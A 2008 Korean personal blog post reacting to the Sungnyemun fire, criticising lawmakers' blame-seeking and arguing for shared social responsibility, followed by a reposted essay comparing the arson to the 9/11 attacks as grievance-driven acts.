    이러한 작은 문제들에서 출발하여 점점 철학에 대한 우리 사회의 잘못된 인식을 바꿔나가야 하는 것이 우리 철학도들의 역할일 것이다.

    여기서는 그 해결방도에 대해서 자세히 논하지 않겠다. 본인도 항상 그 문제로 고민하고 생각하고 있는 중이다. 무언가를 바꿀 수 있다고 생각할 때 우리는 항상 그 근본 원인을 찾아나가야할 노력이 필요하다.

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    :

    숭례문 화재에 대하여...

    사용안함/短想 2008. 3. 2. 00:01



    오늘자 YTN에 올라온 돌발영상이다. 이걸 보고 있자면 화가 치밀어 오른다. 역시나 우리나라 국회의원들은 최악이다. 이건 뭐... 답답하기 그지없는 심정이다. 도대체가 우리나라 국회의원들 머리에는 똥밖에 안들어 있는 것 같다.

    어째서 국회는 누구의 책임을 물을려고 하는지 모르겠다. 이제와서 그들에게 책임을 묻고, 추궁을 해서 무엇을 얻으려는 것인가. 희생양이 필요할 뿐이다. 누군가가 이 모든 일을 뒤집어 쓰지 않으면 안된다는 생각들 뿐이다. 정말 진정으로, 본질적으로 문제가 무엇인지를 그들은 잊고 있다. 과연 이 시점에서 누군가 책임을 지고, 사퇴를 내는 것만으로 모든 것이 해결 될 수 있다고 생각하는 것인가. 그런 생각을 하고 있다면 그들의 머리 속에 정말 똥밖에 들어있지 않다고 생각된다.

    물론 일이 이 지경이 될때까지 숭례문을 개방하고 무책임한 관리를 한 서울시청이나 중구청이나 다 문제이다. 그리고 제시간내에 도착해서까지 제대로된 진화작업을 하지 못한 소방본부 또한 문제이다. 하지만 이런 것은 누구나가 다 지적할 수 있는 사실이고, 누구나가 다 알고 있는 사실이다. 왜 이러한 일이 일어났는지의 원인은 아무도 모르고 있다. 정작 책임 추궁을 하는 국회의원들 당신들은 얼마나 그 숭례문에 대해 관심을 가지고 있었으며, 숭례문이 왜 숭례문이며, 어째서 국보1호가 되었는지에 대해서는 얼마나 알고 있을까? 소 잃고 외양간 고친다. 가장 간단한 진리는 어린애도 알고 있을 것이다. 이런 일이 발생할 때까지 아무런 관심조차 없던 당신들이 그들에게 책임을 묻을 자격이 있다는 것이냐는 말이다.

    한심하기 그지없다. 다 큰 어른들이 돼서 누가 잘못했고, 누가 잘했는지를 따지는 당신들 어른들은 어린애이다. 마녀 사냥이나 다름없다.

    숭례문을 잃어버린 책임은 우리 모두에게 있는 것이다. 우리는 항상 잃고 나서 소중한 것을 찾는다. 정작 있을 때의 소중함을 모른다. 잃고 나서야 깨닫곤 한다. 답답하다. 한번도 제대로된 관심을 갖지 못하고 똑바로 우리의 문화재 하나 제대로 보지 못하는 우리의 책임이고, 그것을 보호하기 위해 제대로된 준비도 못한 공무원들, 국회의원들, 우리 국민 모두의 책임인 것이다. 나라가 비현실적이다. 통치자들이 잘못됐다. 라는 등의 말들을 하는 당신들 그리고 나를 포함한 우리의 모두의 잘못이라는 것이다.

    왜 진정 해결해야 될 일이 무엇인지를 찾지 못하는가. 진정 큰 문제는 불을 지르게 끔, 방화범을 그 지경까지 몰아넣은 우리 사회의 현실이다. 그렇게 우리나라는 단 한사람의 행복도 책임지지 못하는 나라이다. 겉으로는 세계 반도체국 1위다. 컴퓨터 강국이다 등등의 끝도 없는 겉치레 식의 형식적인 말로 꾸며낸 우리나라 실 사정을 그대로 보여준 사례라고 볼 수 있다. 국민 한사람의 불행이 이렇게 큰 참사를 불러낸 것이다. 정작으로 나라 일을 하는 사람들이 귀 기울이고, 신경써야 할 것은 국민들의 목소리이다. 백성이 배고프고, 살집이 없고, 입을 옷이 없으면, 그것은 불행한 나라이고, 더 이상 역사를 진행할 수 없는 것이다. 불을 지른 그 사람이 정신적으로 문제가 있을수도 있다. 하지만 그것이 단순한 정신병인가. 대한민국이라는 나라에서 생겨나는 아주 사소한 문제가 만들어 낸 결과이다.

    우리는 지금 누구에게 책임을 떠 넘기려 하지 말 것이고, 우리라는 이름 하에 다같이 책임을 공감해야 하고, 진정으로 이 나라에 근본적인 문제가 무엇인지를 파헤치고 고쳐야 할 것이다.

    다음은 YTN의 영상 중 [말을 하다]
    <
    이것이 따지기 좋아하고 책임 넘기기에 급한 국회의원들이고, 나랏일하는 높으신 양반들의 모습이다.

    다음은 충북대 철학과 안상헌 선생님께서 숭례문화재에 대해 자신의 홈페이지에서 남기신 글입니다. 많은 공감이 가는 내용이라 퍼왔습니다.

    '숭례문'과 'WTC'  

    숭례문 화재 사건의 용의자 채모 노인이 잡혔다고 한다. 그가 쓴 편지글에는 억울한 심정과 원한 감정으로 가득 차 있다. 그 편지에 의하면, 시가 4억이 넘는 땅을 1억에 빼앗기듯 수용 당했다는 억울한 심정과 자신이 저지르지도 않은 문화재 화재 사건에 연루되어 유죄를 선고를 받았다는 억울함을 토로하고 있다. 사건의 진실 여부야 어찌 되었든 그가 심리적으로 피해망상적 원한 감정을 주체하지 못하고 있었다는 것만은 분명한 듯 하다.  

    이 사건은 2001년 9월 11일 미국에서 일어난 WTC 테러와 일말의 공통점이 있다. 그것은 개인이나 집단의 주체할 수 없는 원한 감정이 역사에서 영원히 지워지지 않을 대사건을 초래한다는 사실이다. 채모 노인이 대한민국 국보1호 숭례문을 방화 타켓으로 삼은 것이나 이슬람 테러집단이 WTC(세계무역센터)를 공격 타켓으로 삼은 것은 누구에게도 인정받지 못하는 개인이나 집단이 세상으로 하여금 자신의 존재를 알아주기를 기대하며 저지른 희대의 역사적 대사건이라는 공통점을 지니고 있다.

    이 세상에는 억울함이나 원한 감정을 주체하지 못하고 복수심에 불타는 개인이나 집단이 무수히 존재하고 있으며 지금도 계속 양산되고 있는 게 현실이다. 좋은 정치란 바로 이러한 주체할 수 없는 원한 감정이 생겨나지 않도록 하는 것일진대, 국내적으로나 국제적으로 이러한 원한 감정이 줄어들기는커녕 날로 늘어나고 있는 추세에 있다. 이러한 역사적 상황에서는 어느 누구도 이와 유사한 비극의 재발 방지를 장담할 수 없다. 이것이 이번 숭례문 방화 사건이 우리에게 주는 또 하나의 교훈이 아닐까 싶다. 이는 특히 타자에 대한 인정을 거부하는 지배권력이 교훈으로 삼아야 할 역사적 교훈일 것이다.

    출처 ; http://web.chungbuk.ac.kr/~ahnsah

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